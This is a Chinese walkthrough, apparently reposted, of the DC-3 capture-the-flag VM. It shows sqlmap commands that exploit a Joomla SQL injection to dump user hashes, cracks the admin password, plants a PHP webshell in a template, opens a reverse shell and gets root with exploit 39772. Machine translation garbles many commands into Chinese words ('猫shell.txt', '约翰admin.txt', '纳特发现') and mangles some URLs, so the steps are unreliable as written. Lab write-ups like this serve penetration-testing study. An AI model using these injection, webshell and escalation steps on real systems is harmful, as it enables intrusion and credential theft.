vulhub靶场 DC-3 复现学习及细节解析

啰嗦几句： 提权工作已于一个月前完成。当时提权出现问题，就被搁置了。今天才完成，因此IP 地址可能会发生变化。注：后续IP地址为192.168.200.55，也是目标IP地址。如果这篇文章能对您有所帮助，我将不胜荣幸。

# 1.设置环境

### 1. 工具

攻击机：kali (192.168.200.14)

目标无人机：DC-3（暂时未知）

### 2.注意

攻击机和目标机的网络连接方式必须相同。另外，DC-1的网络连接方式为NAT模式，与kali的网络连接方式相同（当然也可以选择桥接模式）

DC-1网络设计

点击高级后可以查看DC-1目标机的MAC地址，方便扫描IP时识别。

## 2.信息收集

### 1.扫描同网段存活主机

目标无人机dc-3的MAC地址，根据MAC地址确定IP地址

一：

````

arp-扫描-l

``

第二：

````

nmap -sP 192.168.200.0/24 -T4

``

第三：

````

纳特发现

``

### 2.扫描目标IP开放端口

````

nmap -sV -p-192.168.200.8

#-sV 扫描目标主机端口上运行的软件信息

#-p-扫描所有端口0-65535

``

可以看到这个网站，只开放80端口

### 3.扫描后台目录

使用dirsearch工具，可以看到管理员目录，应该是后台

### 4.指纹采集

登录网站

著名CMS系统

左边的英文翻译是：

这一次，只有一面旗帜，一个入口，没有任何线索。要获得此标志，您显然必须获得root 权限（提升的权限）。你如何成为root 显然取决于你的—— 和系统。祝你好运，我希望你喜欢这个小挑战。

使用joomscan 扫描

````

joomscan -u http://192.168.200.8/

````

joomscan安装方法

````

sudo apt-get install joomscan

``

一般：可以根据框架版本去百度搜索与其相关的漏洞，首先登录后端目录

百度搜索后，可以找到同样的SQL漏洞

使用KILI工具查找漏洞

查看文件

### 5.后台爆破

sqlmap 列出数据库库名称

sqlmap -u \'http://192.168.200.8/index.php ?option=com\\_fieldsview=fieldslayout=modallist\\[fullordering\\]=updatexml\' --risk=3 --level=5 --random-agent --dbs -p list\\[fullordering\\]

Payload 基于提供的SQLmap 构建

sqlmap列出数据库joomladb下的所有表名

sqlmap -u \'http://192.168.200.8/index.php?option=com\\_fieldsview=fieldslayout=modallist\\[fullordering\\]=updatexml\' --risk=3 --level=5 --random-agent -D \'joomladb\' --tables -p list\\[fullordering\\]

找到#\\_users 表

列出users表的字段类型

sqlmap -u \'http://192.168.200.8/index.php?option=com\\_fieldsview=fieldslayout=modallist\\[fullordering\\]=updatexml\' --risk=3 --level=5 --random-agent -D \'joomladb\' -T \'#\\_\\_users\' --columns -p list\\[fullordering\\]

信息在#\\_\\_users

确定帐户名。账户密码一般为“用户名,密码”

爆炸数据

sqlmap -u \'http://192.168.200.8/index.php?option=com\\_fieldsview=fieldslayout=modallist\\[fullordering\\]=updatexml\' --dbms mysql -D joomladb -T '#\\_\\_users' -C id,名称,密码,用户名--dump

````

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu #HashEncryption

````

使用kali中的join工具解密

````

vi admin.txt #编辑写入密文

约翰admin.txt #Crack

``

破解后登录密码为：snoopy 账号：admin

登录后台

## 3.漏洞检测

### 上传Webshell

可以找到网站的源代码，可以编辑模板中的php文件。

Joomla后端可编辑模板，使用此功能在模板下创建一个test.php，写一句话，蚁剑成功连接

一句话木马的上传路径如下。此时，您可以浏览网站目录并打开虚拟终端。

模板询问路径（直接访问当前文件夹即可获取当前文件夹的内容）

````

http://192.168.200.8/templates/beez3/html/

``

### 反弹壳

在/templates/beez3 模板中上传反弹shell 文件。记住上传路径。该文件是您自己创建的。本文文件名为shell.php

反弹壳成功

### 利用经验

使用**searchsploit工具**搜索Ubuntu 16.04中的提权问题，找到可用于提权的“拒绝服务漏洞”。

````

搜索sploit ubuntu 16.04

``

查看漏洞并下载EXP

````

cp /usr/share/exploitdb/exploits/linux/local/39772.txt shell.txt

猫shell.txt

````

文件内容提供EXP URL

下载（此步骤在目标机中执行，此步骤执行错误）

解压文件

````

unzip 39772.zip #解压29772.zip文件

光盘39772

tar -xvfexploit.tar #解压exploit提权脚本tar包

cd ebpf_mapfd_doubleput_exploit

``

### 权限提升

编译代码

````

./compile.sh #执行脚本并编译文件

``

提升权限并获取root权限

````

./doubleput #执行提权文件

````

请稍等

文章参考：[https://blog.csdn.net/weixin\\_43583637/article/details/101554815](https://blog.csdn.net/weixin_43583637/article/details/101554815) 转载自freebuf： [https://www.freebuf.com/articles/web/387841.html](https://www.freebuf.com/articles/web/387841.html)作者：锦鲤